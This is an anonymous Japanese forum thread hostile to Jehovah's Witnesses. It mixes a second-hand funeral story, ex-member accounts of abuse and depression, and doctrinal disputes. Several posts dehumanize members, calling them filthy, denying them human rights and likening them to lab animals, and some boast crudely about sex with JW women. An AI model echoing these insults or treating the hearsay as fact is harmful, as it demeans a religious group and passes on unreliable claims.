エホバの証人ふざけるな！18

昨日、親戚の息子さん（非信者）の葬儀に母と父が参列しました。その息子さんは２日前に首をつって自殺。躁鬱持ち。
母と（息子さんの）姉はエホバ。妹は無宗教。

葬儀に出席して、母たち、またその他の人たちが驚嘆していました。（エホバ式の葬儀はみんな初めてなもんで）
エホバの信者さんは喪服を着ず、赤い色の服やﾋﾟﾝｸの服（私服？）でした。
死体の置いてある部屋には妹さんと、両親と…（信者さん以外）は亡くなった息子の顔を見てあげ、涙を流す
妹さんをみんなで励ましてあげたそうです。その間、母＆姉その他の信者さんは別室で寿司だなんだのドンちゃん騒ぎの盛り上りみたいでした。
死体の部屋？または死体は身が穢れるため、と言うエホバの教えがあるから、私たちは近づけないって言うのが理由でした。
そんな身内の対応に妹さん始め、私の両親や他の人も戸惑いを隠せなかったみたいです。

そして、聖職者?か、分りませんがそんな方が「死んだ○○（息子）さんはただの無になりました」と語っているのに、参列していた方の誰かが激怒していた。
最後くらい、暖かく送ってやる気持ちもないのか！なんて冷酷な人たちなんだ！と…。。妹さんもそれを聞いて、衝撃を受けて私の母に泣きくずれたみたいです。

そして、火葬も淡々としてるものだったそうです。
焼けた死体＝骨には触れてはいけない？みたいな教えがあるらしく、骨をつまめないため、ハンマーで粉々に打ち砕いてそれを、一般家庭で使う掃除機で吸い取り、
ゴミ箱にﾎﾟｲ。。終了。

葬儀の始めから終わりまでの間、お花も一輪も飾られていなかったみたいです。

息子さんが死んだ理由は家庭環境だと、息子さんを知る人が言っていたそうです…。
これを聞いて、エホバは本当に恐ろしいと痛感した。
葬儀に参列した人たちがみんな、「これは最悪だ。息子さんに哀れみと深い追悼を申し上げたい」と誰もが言ってたと聞きました。

なんとも…唖然

母と（息子さんの）姉はエホバ。妹は無宗教。
↑息子さんのご家族のことです

葬儀に出席して、母たち、またその他の人たちが驚嘆していました。（エホバ式の葬儀はみんな初めてなもんで）
↑この母たちは、私の母や父、その他の人たちのことです。
分りづらくてごめんなさい。

死んでからエホ証式の葬式をして欲しくない人は
手遅れにならないうちに断絶しておこうネ！

質問なんですが、
エホ証は母乳ってOKなんですか？母乳は血液が体内で変化したものだと
産婦人科で教えてもらったんですが・・・。

どなたか教えてください。

変化してすでに血液とは別のモノになってる→無問題！

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　 | ●_　●　 |　＜ エホバウザイんじゃボケ！　
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はいはい、わかりましたよ

　　　　　　　　　　　　 (禁転載）

>>367
くびをつって自殺した方が復活するかどうかは神のみぞ知ります。
自殺した人が復活しないというのは間違いです。
では

うちの近くにも在るけど、ホントっウザイよ。
セールスじゃあるまいし

伝道に行くと、とても失礼な人がたまにいます。金もらってやってるわけじゃないし、
ほんと憂鬱だ。

>>375
次は絶対に来ないでくださいと言えば、そこは、進入禁止チェックがいれられるので
来なくなります。それでやってください。

>>376
で、絶対に来ないかと言えばそんなことはなく、
半年ごとにご機嫌伺いにやってきます。

>>367
本人エホ症じゃなくっても、そんな酷い葬儀にされるんですか？；。；
許せません。絶対に許せません。
家は西本願寺派ですが、大谷派の葬儀には大谷派のやり方で参列しますし、
キリスト教だったら、やはり被葬者の宗教に従うと思います。

死んでから骨をハンマーで砕かれるなんて、気の毒すぎます。
エホ症の人は、仏様を何だと思っているのか・・・、

>>376
>伝道に行くと、とても失礼な人がたまにいます。金もらってやってるわけじゃないし、
>ほんと憂鬱だ。


憂鬱になる前に、「自分は失礼ではなかったろうか？」と考えてみる事をおすすめします。

フランスで、こんなサイトを発見！！
http://membres.lycos.fr/bibelforscher/

好んでＪＷ教信者が言うんだよな。
「金をもらってない」ってさ。
こう言えば、なんでも許されると思ってるんだよな。
この言葉を聞く度に、逆にＪＷ教信者はすごく金に、
こだわっている気がするな。
母の日にプレゼント禁止って聞くと、
母の日にこだわってるな。と思ったりするのと一緒でさ。

ちょっと自慢してる様で言いたくないのだけどさ。
私はボランティア活動をやっていますが
自分で経費を払った上に行動もして、直接、自分に良いことないけど、
相手に対して「とても失礼な人がいます。」なんて考えた事ないなあ。
それって、思いっきり間違った考え方していると思う。。。

　good　job　>>380

なんかキャラが変わってきてるぞ>boy's
荒らしにムカついてるのか？

おちけつ。

>>378
私も初めて聞いてびっくりしたよ。
火葬場に行くときのバスにも乗らないから（そういう教えなんだとさ）、しまいには参列に来ていた誰かが、ぶち切れたみたい。。
エホバは死体？を引き取らないから市がその死体＝骨の始末をしなきゃいけないらしく、業者の人もすごい迷惑がってたみたいよ。
その骨を掃除機で吸うってのも、絶えられない人は激怒してた。火葬場の係りの人がこっそり、
「これがエホバのやり方なんですよ。わからない人には信じられない光景ですよね。私たちも始めは驚きました。」って何度も見てきているらしく、半分呆れ＆怒った状態みたいでした。
魂抜かれちゃってるんでしょうね。。
それより、その葬儀に統一の信者さんも参列したのですが、火葬が終って骨をﾎﾟｲしたあとに、最後に賛美歌？を歌う事があったみたいなのですが、
エホバの賛美歌を何故か、統一信者さんも知っていて歌っていたって聞いて、なんでだろ…って思っていました。
エホバと統一は繋がってるんですかね？？
取り合えず、エホバには近づかないように気をつけよ

>>367 にわかに信じ難い話だ。漏れも現役なんで葬式には何度か出たことあるけど寿司だのどんちゃん騒ぎだのなんて見たことない。そこの会衆が終わってるというか、組織自体焼きが回ったというか。正直情けない。

俺、長老と奉仕した時に寄った家の人からマンサツ受け取ったのをこの目でしっかりと見たからね。
長老は寄付に回しておきますとか言ってたけど本当に寄付したのか知らない、手切れ金のようだ、もう来ないでくれという意味らしい。

>>385
まだまだ常識外れのネタがあるのですが、このくらいで辞めておきます。
エホバでは、祭壇も写真も飾らないんですね。。これもびっくりしたけどねｗ

つか、まだ学会の友人葬の方が情もあってましだなってｵﾓｰﾀ。
いい勉強になりますた

>>386　当然その家は最訪問の対象です

>>383さん
あ、キャラ変わちゃいましたね。気を付けますね。

理由は、私が聖句を引きながら、いくらこの様に書いてある。
みたいに書いてもＪＷ信者さんは独自の論理を展開して
まともな反応が無かったからだと思いますね。

たまに国会議員が汚職をした時にＴＶニュースなどで
「永田町の論理」とか言われますけど、ＪＷ信者は「ＪＷの論理」を
使いますね。こうなりますと「世間常識」を中心にして話しを進めなければ
ならないと思いまして聖句も最近は書きませんでした。

空白の荒らしにもイラついて切れましたね。

それと、私はＪＷ信者から「書きたいこと書きやがって。」みたいに
思われてるかもしれませんが、書きたい事の３割ぐらいしか書いて無いですよ。
以前は２割ぐらいだと思います。また２割に戻しますね。

ＪＷのお葬式の事が書いてありますけど、
お葬式の事で、私はもっと酷い経験をしまして、書きたいですが
ネタと思われそうですし、やはり故人に対しての遠慮とか有りまして
書けないですね。

英語でＪＷ関連を検索するなら「Jehovah's Witnesses Crime」で
検索すると、かなり引っかかりますよ。えーと、Crimeは犯罪って意味です。

アメリカよりもヨーロッパの英語HPの方がＪＷに対して強力なようです。
私はJW専門のHPよりカルト全般のHPを読むことが多いです。
統一、人民寺院（だと思う）、ＪＷが一緒に扱われてたりしますよ。

エホ症の葬式で業者がブチ切れた話は
俺も聞いたことがある。

ものみの塔聖書冊子協会は、悪魔サタンが自らの
倒錯した欲望を満足させるために作った組織です。

　昔、エホバの人に誘われたて集会に行ってみた。十字架は杭だ杭だと絵まで
描いてある小冊子を見せられながら説得された。でも、イエスってダビデがサムエル記下
4章12節でやっているような木にかけることではなく、刑はローマの処刑方法に従っている
はずだよね。イエスの弟子のペトロは、イエスと同じではあまりにも恐れ多いということで、
Ｘ状十字架に逆さに磔にされることを選んで殉教したようだ。ローマの十字架は
その当時、Ｔ．＋．X．などの形があったと常識があるのだが、エホバさんはこれに
強行に反対する。なんでエホバさんは、杭、杭と言うのかな？

家にやってくるエホのおばちゃんとHした事あるぞ。雑誌を一回もらったらよく来るようになって、なかなかの美人なのでよし

家にやってくるエホのおばちゃんとHした事あるぞ。雑誌を一回もらったらよく来るようになって、仲良くなった。若い男にはおいしい話だ・・・

家にやってくるエホのお嬢様とHした事あるぞ。
おばちゃんよりええで・・・

お嬢様は家はこないぞ。クリスチャンの人妻てのがそそられるのだよ。 もう一人来る人がいるけど、その人とはHできなかったべ。

いい話だ

15で自分から脱退したものです。ずっと自分と宗教との関係をはっきりさせたかったので
99年渡仏した時に、モンパルナス会衆へ交わったのですが、ちょうどホバがカルト
だと認められていた頃で、集会場も個人のもの?ぽかったです。地下に入っていく
ような構造でしたし。今は裁判でホバの方が勝ったらしいですね。僕の現役弟から
聞きました。勿論カソリック教会もプロテスタント教会へも足を運びましたよ。

あれからもう3，4年ですか。自分でしっかり立って歩かなければいけないと思って
いるのですが、僕の患っている鬱病がサタンのせいだ、首にかけている十字架のせいだ
など現役の家族が言ってきて参りました。

父（無神論）に泣きついて、今は私に対して「悪霊」がどうだとか言うなと止めて
貰っています。生理痛並にイライラします（ｗ

＞＞僕（しもべ）の現役弟から

＞＞僕（ぼく＝わたしです）の患っている

連続投稿すみません。
ぼくの祖父が亡くなった時も、幸い家族がホバ証と無神論の父･脱退したぼく
と別れていたので、骨をぼくたち二人で拾うことができました。遺影もぼくが…
弟がここをみているのでこれ以上書けなくてはがゆいです。あまり家族にこれ以上
の亀裂を生み出したくないので。ただ、これだけはわかって欲しい。

「エホバの世界は独特の社会。そこから出て現実で生きていこうとした時、
そのときが初めてこの世に産まれたのと同じだということ」を。
現実社会ではその時点で0歳なんです。現役の方は「自分で選んだのだから
苦しんで当たり前だろう」と藁ってくださいますけどｗ

怖い話だ

　 　 ／) 　／)
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　 | ●_　●　 |　＜ エホバウザイんじゃボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
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　　　　　　　　　　　　 (禁転載）

>>400
ふつうの親なら、子供がこの社会で生けていけることを目標に
自分の子供を育てるからね。
２世は、ふつうに成人できた１世の自分の親とも違うわけだし。
腹立ちますよ。

”背教者”の苦しみを藁う現役さんだって、しょせん釣られた魚のようなもの。
ＪＷというイケスのなかでしか生けていけません。

しかし、苦しくても”背教”すなわちイケスを飛び出すのは、
人間として幸せです。

その通りですね。
僕も女でありながら、無心論者である父だけをオヤだと思って生きてきました。
世間の常識もほとんど父から学びました。両親が共にホバでなかっただけでも
よかったのかもしれません。

エホ症の人がどう思ってるのかしらないけど、
世の中の人がみんなエホ症になったら、社会は成り立ちません。

エホ症の人達は社会の恩恵を受けないでもらいたいと思いませんか？
たとえばマトモな葬式もしないのに家族や親類や友人でいることや、
学校行事に参加せずに卒業証書を受け取ることも、汚いことです。
そういう汚いものもきっぱりと拒否していただきたい。
都合の良いときだけキレイなフリをするのはやめてほしいです。
エホ症の人は自分たちは貴族だとでも思っているのか？

そうじゃ、おめーらエホバ、社会の恩恵うけるな！！
やることなすこと汚いけれど、
体も汚い。
ちゃんとフロ入れよな、臭いから。
あ−キモイ！！

ああ、「杭」か「十字架」の話ですけど
簡単に言ちゃいますと、イスライルに行ってイスライル人に直接聞くと
いいですよ。彼らは「十字架です。」と答えますから。
それに対して「いや、杭が正解です。」と理由をそえて説明できるＪＷ
がいたらスゴいと思うけどね。

じゃ、ＪＷはなぜ「杭」と言っているかは、
私の勝手な想像だけど、教祖のピラミッド好きがばれそうになったので
パフォーマンス的に十字架は異教からです。みたいな事を言いだしたん
じゃないかな。

それと、私も世の中全員がＪＷ信者になったらどうなるか？
って想像した事が有りますよ。
スゴく住みづらくて、嫌な世界になると思いましたね。
だってね、世界中の人間が毎月同じ本を読んで、
ニューヨークからの指示を待つなんてウヒ！ってなりませんか。

ＪＷ信者は世の中の汚い部分を他人に押しつけていると感じますね。
自分にとって便利な物や都合の良い物だけを手に入れている気がしますね。

たとえば、柔道とか格闘技を否定しますが、自分が暴漢に襲われたときに
警察や一般警備員が暴漢を取り押さえるのに、格闘技など一切使わないで
言葉だけで暴漢を取り押さえて欲しい、と言うのでしょうか。


ＪＷには普通の会話が普通に通じないから、なにを言っても無駄だけね。。。

>>405
＞マトモな葬式もしないのに
↑
マトモとマトモじゃない違いはなんだい？坊主呼んでわけのわからない経読んでチーンがマトモなのかい


＞学校行事に参加せずに卒業証書を受け取ることも、汚いことです。
↑
汚いってのは裏金積んで学校に入ったり、先生に贈り物持っていて便宜をはかってもらうようなのが汚いってんだよ

>>407
現在のエホではエジプトのピラミッドってどういう扱いなんですかね？
やはり邪悪なんでしょうか。

＞いつも穏やかなboy'sさん

私もホンネは「こんなイヤな宗教、一日も早くなくなってくれ〜〜っ！」
なんですけどね、
現役信者さんたちの心をムヤミに傷つけたくないので、抑えめに書き込みます。
ところが先日は某スレで、現役さんと間違えられてしまったのよ。
やはりアンチなら、そこそこはアンチらしくせにゃ、と思いました（ｗ

>>409
えーと、ＪＷの女性伝道者さんに以前
ＪＷの創始者がピラミッド好きらしいよ。
と言ったところすごく怒りました。
それ以来ＪＷとピラミッドの関係を聞いていません。
怖かったです。。。

テーズ・ラッセルの墓の写真
http://www.jwic.com/cemetery.htm

>>410
ども、ども、最近怒りっぽくてすみません。


みなさん、すみません。。。m(__)m

また、自作自演発覚

　　　　　　エホ　　　　　　　　　　　　最高　　　　　　　　　　　　です♪
───────────────────────────────────
──‐ ∧＿∧∧＿∧───‐∧＿∧ ‐∧＿∧───∧＿∧────‐ ∧＿∧──
──‐（　・∀・）⊃Д`）───（　　　　 ⊃ 　 　）.──‐（　・∀・）───‐ ｒ（ 　　　）──
──‐（Ｏ　　/　つ　つ───（　　　／ と　　　）──‐⊂⊂へﾉ────‐〉　　　つ──
──‐人　 Ｙ　ゝ　） ）───‐ﾉ 　ハ―（　 ( ノ───‐ 'ｰ（＿_）───⊂ ､　　ﾉ───
──‐し（＿_） し し ───‐（＿ﾉ＿）― し'Ｊ────し' ───────し'────
───────────────────────────────────

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
　　　　　　（（ 〜））　　　　　　　　| ﾉ─ヽ|
　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
　 　|￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣　|
　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

やることなすこと汚い、体汚い臭い、
加えて服装ダサイ。
中年でまだどっかの少女服装するの辞めてけれ
ヘドがでるー、バスガイドでもねーのに白い手袋スンナよ！！
ごく小さなことに忠実な者は‥‥‥
語って、駐車違反（集団で）平気でやってんじゃねーよボケ！！
精神的にイッちゃっているの多数。
こいつら人間として扱うのじゃなく、
某大学で動物実験用のどうぶつ（もの）としてあつかえば‥‥‥
お前らに人権無し！！

俺もエホだったけど、今はもう違う(笑)
やめた理由はうざくなったから。
＞４１３白い手袋は日に焼けるからじゃない？違うかな？

服装ださいのはほんと勘弁してほしいよ・・・

>>413 ＞某大学で動物実験用のどうぶつ（もの）としてあつかえば‥‥‥
　↑　　　　　　　　
おまえの脳は実験用に最適だ　動物並みだからな！

そーいやヱホバの人が証人会館とかいう集会所の前で殴り合いのけんかをしていた事があったなぁ原因は女性信者を寝取っただなんだって感じだったなぁ、ｳｹｹｯ・・（笑）わらっちゃったよマジで。

>４１５　おぅ、カルト野郎。
オメーにブタの血でも輸血したろうか？
まあ、カルトに言葉は通じないってか‥‥このサルが！！

喧嘩両成敗！

>>バビ３世
＞オメーにブタの血でも輸血したろうか？

そーか　ブタ飼ってたのは知らなかったよ
それでよくもまあ人の体が臭いのなんのって言えたもんだな（笑）

十字架か杭かなんて論争は全く無意味だ。
エホ症ってこういう本質的じゃないことに
こだわるんだよな。
まあ馬鹿だからしょうがないけど。

社会の中で生きられない人間が、社会の外に居場所を
求めるんだよな。
だから宗教は本来社会の外にあるもので、社会とは
両立しえない。
宗教はそもそもカルトなんだよ。

確かにそう思う。
ホバの中で、かなり鬱病発生率が高いのも
1．ホバの教義の為
2．そういう気質の人が集まりやすい為
大きくわけて、このような気がしてならないよ。

僕だって「見せしめです」と他人姉妹から言われた時は
なんで他人にこんなことされなきゃいけないんだ…。

実母に丸裸で追い詰められて、…皮が裂けた後ムチについた
血を拭った鬼の母は一生忘れない。

エホバが最高なのに
ごらん、また>>1が糞スレ立てて暴れてるよ
　　　　　　　　　　　　　　　 　 　 　 ,!ヽ
　　　　　 　 　 　 　 　 　 ,!ヽ、　　　 ,!　 ヽ
　　　　　　　　　　　 _,..ィ´￣｀)-‐‐‐''　　　ヽ
　　　　　　　　　 　 /　　´｀)'´　　 _　　　　 !、
　　またかよ…　/　　i-‐'´　　　,　｀　　　　 `!
　　 lヽ、　　/　 Y　 　 ,!　ヽ-‐‐/　 　 　 　 　 l　
.　　l　＞‐'´｀ 　 l　　 ﾉ 　　ヽ_/　　　 　 　 　 ﾉ
　 ,ﾉ　　　　o 　 ヽ　　l　　　　　　　　　　　 _,ｲ
　i'.o　 r┐ 　 　　 ヽ、 ヽ､_　　　　　　,..-=ﾆ_
　l　　 ,!-l､　　 　　 ﾉヽ､,　　　　　　　　　　 ヽ
　ヽ　　　　　　　 _,.ｨ'. 　,!　　　　　　　 　､ 　　`!、
　　`ｰ-､_　 　 く´　 　 l　　　　　　　　　 ヽ 　 　l
　　　　　,!　　 　`!　　 l　　　 　 　 　 　 　 ヽ､__ﾉ
　　　　 l　　 `!　 `!　　!　　　　　　　 　 　 　 l
　 　 　 l　 l.　l　 ,　l　　ヽ、 ､_　,ｨ　　　　　 ノ
　　　　 l､_,!　 し'　 l　　　l　　 `l　　　　

十字架の真の意味・・・
初めに言葉があった・・・この言葉（キリスト）とは神性のことであり十字架の垂直が表している。
言葉には響きがともなう。この響きは人間性のことであり、横木によって表される。
真ん中辺りの二つのものを繋ぎ止める釘は人間の改心を表している。
十字架であることには意義が有る。

>>421
それは勝手な思い込み。
もう少し宗教について考えてから書き込んでね。
つうか、エホだけ捉えて宗教全体を勘違いしている。
宗教は社会の外にあるものではありません。
エホがカルトかどうか知らないが、カルトと宗教は違います。
例えとして使うならまだしもね。

>408
その事で不愉快に思う人達がいるという事は理解してるかな？
自分達が正しいからといって何でもやって良いという事にはならないんですよ。
葬式の上で不愉快な出来事が起こるのはエホ証に限らないけれど、
周りの人たちの気持ちについて少し考えてみるべき。
スレを読んでるとそういうところが欠けてるように感じる。

>>422
ひどい。涙出る。
客観的な考え方ができ、やめられてほんとによかったですね。
あなたの知性に敬意を表します。

月並みな言い方しかできませんが、がんばってください。
いまだ心が囚われたままのご家族もいつかきっと目からうろこが落ちる日が
くるでしょう。その日のためにお祈りいたします。

>>427
　ありがとうございます。
　救われる言葉です。

>>408
エホ症のせいで普通の遺族友人が気分を害してるだろうが。
ふざけんな
昔エホ症の友人がいたんだがね。
宿題もやらない、レポートも出さない、作品も作らない、
ある時、その子とペアで作業してたんだがね、
途中からそいつが伝道のためとか言って学校休みだしたんだよ。
ﾊｧ？伝道のタメに学校行けないのがエラいんだろ？
だったら成績下がるっていうリスクも甘受しやがれ、
ってことで、私は他の子とペアになったわけよ。
そしたらどうなったと思う？
その子の親が、「うちの子がいじめられてます」
って学校に言いに来たらしいんだよね。あーｷﾓｲっつうの。
つまり、自分のやるべきことをやらずに他人に迷惑をかけたり、
他人を自分のいいように使って何とも思わないエホ症の人間性、
またそのような行為を禁じる教義がないなんて
　全　く　以　て　汚　す　ぎ　る　宗　教　で　す　。
ちなみにうちの担任は、理解のある人っていうか、
もう随分その子の処理に困っていたようで、その子の親に
「そちらの都合で休んでいるのですから、
　他の生徒の勉強まで遅らせないでください。」
って言ってくれたらしい。全くほんとにね。
あの子にはあの世での幸福があったかもしれないが（あんな奴が幸福になれるとは
思えないが）私には現世の生活を普通に送る方が大事です。


ほんっとに、エホ症は迷惑かけないでください。自覚してください。

＞　エホ症のせいで気分を害してる

ふざけんな
当人のせいだよ！

ガキが一番の被害者なのかしら
わたしのような３３歳にもなったオバサンはそんな宗教に引っかかりません。
くるのよ家にも、２人で勉強シマしようてね。

>>431
自分は絶対に騙されない！と豪語する奴に限って
カルトに引っかかるんだよな、これが。
心の隙を付かれてあっという間に転落への道を辿るよ。

お大事にね。

エホ症に一般人の常識って無いんですね
死体処理は別の人にやらせて、自分たちだけ救われればいいと思ってる

最低。

>>426
＞その事で不愉快に思う人達がいるという事は理解してるかな？

エホ証は学んだことから葬式仏教の間違いに気づきその方式を避けている
反面、一般の人は葬式仏教をいわば丸飲みしてその方式を疑いもなく受け入れている
過去から習慣的に行っているがゆえに
葬式仏教を受け入れている人は自分たちと違っているという理由でエホ証を毛嫌いしている
自分たちが間違っているかどうかを考えることもしないでね

>>434
言ってることの意味がよくわかりません。
死体処理を他人にさせてその他人が地獄へ行こうとどこへ行こうと知らない、
自分たちさえ助かればいい、
この世であくせく働く普通の人を、エホの使用人としか思ってないようにしか
見えません

あなた方はどうして人を裁こうとするのですか？やめてください。
あなた方はいつも自分達が正しく他は間違っていると決め付ける。正しいのは神だけなのに（泣き）。これは神に対する冒涜です。
全ての争いはここから生じています。
よく考えてください。あなた方はあなた方の考えに合うか合わないかによって人を裁くのです。
全てを神に委ねなさい。そうすれば報いて下さるでしょう。

この言葉はこの板にいる全ての人に捧げます。

ものみの塔がぁゃιぃ
http://www.yomiuri.co.jp/kyoiku/08/20020702wm05.htm

この世であくせく働く普通の人は、エホの使用人ですけど
何か不都合ですか

>>436
あんたわかってるね！
すばらしいことだ！

ちょっとまちがいもあるみたい

聖書バカがいるな

思い出したくないことばかりなので、エホ系の情報にはふれないように
してるんだけど、今日は魔が差して、２ｃｈにまで来てしまった。

こんなに続いてるスレがあって驚いたよ。みんな恨んでるんだな。

>>443
”魔が差して”という表現が超カワイイ！
また来てね

現役の頃はピラミット学は悪魔崇拝で忌むべきものと教わったので
教祖がピラミッドマニアと知った時はﾋﾞｸｰﾘしたよ

ttp://homepage3.nifty.com/possible/pages/shiryo/keirin/kiji/zuhyo.htm

教祖の趣味は偶像崇拝じゃなく、信者の趣味偶像崇拝なんだろ。
まぁ、何処の組織でもあることだが・・・。上層部と末端の乖離だね。
少し末端賢いものが指摘すると、他の末端を使って皆でいじめにはいる。

ものみの塔の創始者ラッセルのピラミッド教義も所詮はパクリ・・・。

『「エホバの証人」（「ものみの塔」）の創始者、
アメリカのチャールズ・テーズ・ラッセルも
スミスの影響を受けた一人であった。
彼はスミスの研究をもとに、
聖書の預言と大ピラミッドの予言を組み合わせた結果、
以下のようなことを発表した。

キリストの再臨は人に見られないまま、1874年に起きた。
この年から40年にわたる「取入れ」がはじまり、
その間に教会の真のメンバーがラッセルの指導のもとに集まる。
40年経った1914年が終わる前に、千年王国が始まるだろう……。

……1914年には第一次世界大戦が起きたが、
あいにく千年王国は来なかった。
「エホバの証人」は、後にピラミッド学を
教義から除外するようになったという。』

疑似歴史学事典　ピラミッド学
http://village.infoweb.ne.jp/~fwjf1899/tondemo/dic/pyramidology.html
http://village.infoweb.ne.jp/~fwjf1899/tondemo/

エホバの証人と会話して気持ちの良かったことは無い。
ひっきりなしに訪問する伝道者を相手するのは大変、しかも
私の疑問に素早く答えてくれる伝道者は一人もいない。
私の生活にものみの塔の教えがどうして必要なのか説明でき
ないばかりか仲間の悪口を言い、仲間が信用できない口ぶり
であった。

>>434
>葬式仏教を受け入れている人は自分たちと違っているという理由でエホ証を毛嫌いしている
>自分たちが間違っているかどうかを考えることもしないでね

お互い様でしょ。
自分達と違っているという理由で他人を毛嫌いしているのは。
自分達が間違っているかどうかを考えることをしないのも。

どちらが正しいのかではなく、相手にも感情があるという事を言ってるのよ。
それを踏みにじるような事をして、はたしてそれで良いのかなってこと。

>>430
気分を害した人がいるとして、それは当人のせいだなんて簡単に言わないで。
あなたにとって正しい事がすべての人にも正しいとは限らないのよ。
あなたにとって真実がひとつだとしても、それを感情で受け入れられない人も当然いるのよ。
そういう人達に対して、あなたは怒りを向ける事しかできないのでしょうか。

>>425
「本来」、宗教とは社会の中に居場所が無い人に居場所を
与えるものなんだよ。社会が救えない人を救うのが宗教。
だから宗教は「本来」社会の外にあり、社会とは両立しえない。

しかし近代社会の発展途上で、このままでは社会が成り立たなく
なるので、社会の中に宗教があることにした（つまり社会と両立
し得るようにした）。しかし社会が救えない人を救うのが宗教
なのだから、社会の中に宗教があるというのは矛盾している。

古くからある宗教は、歴史の中で淘汰を経て、社会を滅ぼさない
ものだけが生き残った（そうでなければ社会の中で存在できない
から）。しかし新興宗教は、淘汰を経験していない分、宗教が
「本来」持つカルト的な面が表面化する。

社会の中で救われない人が、社会の中に存在する宗教で救われる
わけがない。だから有効な宗教ほど、社会の外に出ようとする。
多くの人が、他のキリスト教ではなくエホバに走るのは、他の
キリスト教では救われないから。

>>421
待った。
えーと、それをこのスレでやるつもりなの？

>>424
十字架であることに意義があるんじゃなくて、
人間が改心することに意義があるんだろ。
十字架はそれの象徴。

同じく、生命自体に意義があるんであって、
血はその象徴にすぎない。象徴にこだわるのは
偶像崇拝と同じだ。

今日、めぼしい英語HPが有ったら、リンクをしようと思って
HPさがしましたが、なにしろ関連するHPが多くてまいりました。

まあ、どこの国も信者が問題を起こしていますね。

一番取り上げられるのは、やはり輸血問題みたいです。
JWICにカナダの16歳の少女の事が書かれていますが、
どの国でも、同じ様なトラブルがあるようです。
他には信者の犯罪ですかね。

・・・ああ、まずい！こんな時間だ寝ます。

いや、この象徴として書かれてる部分を誤解して採っているってことを言いたかったんだとおもうよ。それが偶像崇拝だということは分かってるんじゃないかな？

記憶が正しければ、映画「ゴーストバスターズ」では、屋上がピラミッドになっている,ニューヨークのビル（市庁舎？）が登場する。
もちろん悪魔の総本部として。

宗教屋キモイ

「ものみの塔」１９８２年６月１日号４ページ

世界の諸宗教は実に多種多様ですが,特定の 類似点が広く見られます。
例えば,南米の ブードゥー教,アフリカの部族民の宗教,東洋の大 宗教,
オーストラリアの原住民の宗教など,事実ほ とんどどの宗教も,
肉体の死後も生き続ける霊的 なものが人間にはあると教えています。
これらの諸宗教すべてがこのような類似の宗教 上のならわしを各々別個に発展させてきたという ことがあり得るでしょうか。
あるいは,それら諸 宗教が何らかの仕方でそうした概念を共通の源か ら得た可能性の方が大きいでしょうか。
確かに, そう考える方が道理にかなっています。
では,そ の共通の源とは何でしたか。。。。。

聖書によれば,これはその唯一の根源となる方 に対する反逆に端を発しています。
3,000年以上 昔の一文書の中に,ニムロデという名の男がこの 反逆を起こした人物であることが明らかにされて います。
ニムロデは都市の建設者となり,メソポ タミアとして知られる古代の地域に数々の都市を 築いてゆきました。。。。。

「死者の崇拝」という本の中で,J・ガルニエ 大佐はこう述べています。
「エジプト人,カルデ ア人,フェニキア人,ギリシャ人,ローマ人だけ でなく,
ヒンズー教徒や……仏教徒,またゴート 人,アングロサクソン人,ドルイド教徒,メキシコ 人やペルー人にいたるまで,
すべてはその宗 教上のさまざまな考えを共通の源もしくは共通の 中心地から受け継いだに違いない。
その典礼,儀 式,習慣,伝承,またそれぞれの神や女神の名や 相互の関係に,
まさに驚くほどの一致がいたると ころに見られる」。
これら初期のバビロニア人た ちが世界の各地に移り住むことを余儀なくされた 時に,
自分たちの宗教上の概念をその新しい住み かに携えて行ったものと思われます。

>>457
で？

ニムロデ→メソポ タミア→エジプト→ラッセル（1914年）→ラザフォード（1914年）→エホバの証人 （1914年根拠は隠蔽）

>>450
>多くの人が、他のキリスト教ではなくエホバに走るのは、他の
>キリスト教では救われないから。

「多くの人が・・・・エホバに走るのは」ってウソです。
ＪＷは日本のキリスト教人口の1/5しかいません。
（分母になってる数字にはＪＷはふくまれてないみたいね。）
多くの人はＪＷよりキリスト教に行きます。

では、なぜ「多くの人が・・・・エホバに走るのは」と
思いこんでしまうのか、考えてみたいと思います。
ＪＷでは他からの改宗者がいると「あの人は、元***教。」
と話（か、噂話）にのぼります。
ＪＷを辞めた人（または不活発）は他の宗教に行っても、
ＪＷの人は知らないと思います。
ＪＷ信者にしてみれば他の宗教から流入する一方に感じるかもしれませんが
私の知っている範囲内でも「ＪＷ→キリスト教」「ＪＷ→創価学会」がいます。
　　　　　　　　　　　　　　　

>>460
ﾊｱ？

誰も他のキリスト教信者よりもエホ症「の方」が多い
なんて言ってねえだろ。単にエホ症に逝く人が多いって
言ってるだけだろ。
他のキリスト教信者より、エホ症のほうが少ないことなんて
誰でも知ってる。

論点ずれてるぞ。

ああ、もうちょい書こ。

ＪＷ信者さんは「世界的に一致した組織」みたいな事を言いますが、
「1914年を見た世代にマルマゲドンが来る。」の教義の変更のことで、
なぜ教義の変更が有ったのか興味がありましたので
複数のＪＷ信者さんにお尋ねしました。ところがそれぞれ違った回答になりました。

１、その話は無くなりました。
２、以前はアダムの創造された日から計算していましたが、
　　アダムの妻が創られた日にちから計算しなければならない事がわかりました。
３、以前はアダムの創造された日から計算していましたが、
　　アダムとその妻がエデンの園から追い出された日から
　　計算しなければならない事がわかりました。
４、1914年の計算方が間違いでした。（1914年そのものが間違い）

全然一致してない気がします。

ほんとはどうなんですか。＞信者さん。

>>461
ああ、私は全体を読んでなかったみたいね。
たしかに、論点ずれてたとこがあったみたいですね。

エホ症の親に「何でエホ症だけが正しいと言えるんだ」
って聞いたら、
・エホ症はナチスに抵抗し戦争に行かないで殺された。
・エホ症の組織は愛に満ち溢れている。
・エホ症の幹部（？）はものすごく聖書に詳しい。
・1914年の予言をしたのはエホ症だけ。
などと答えられて、反論する気が失せた。

ストラビンスキーは作品「火の鳥1」で1914年 は戦争の年と暗示的に予言していた。
とレコードジャケットに書いてある。しかしストラビンスキーはふさわしくない作曲家として、エホ症は聞かないようにと雑誌に書かれた！

エホ症ってどんな病気なんですか？
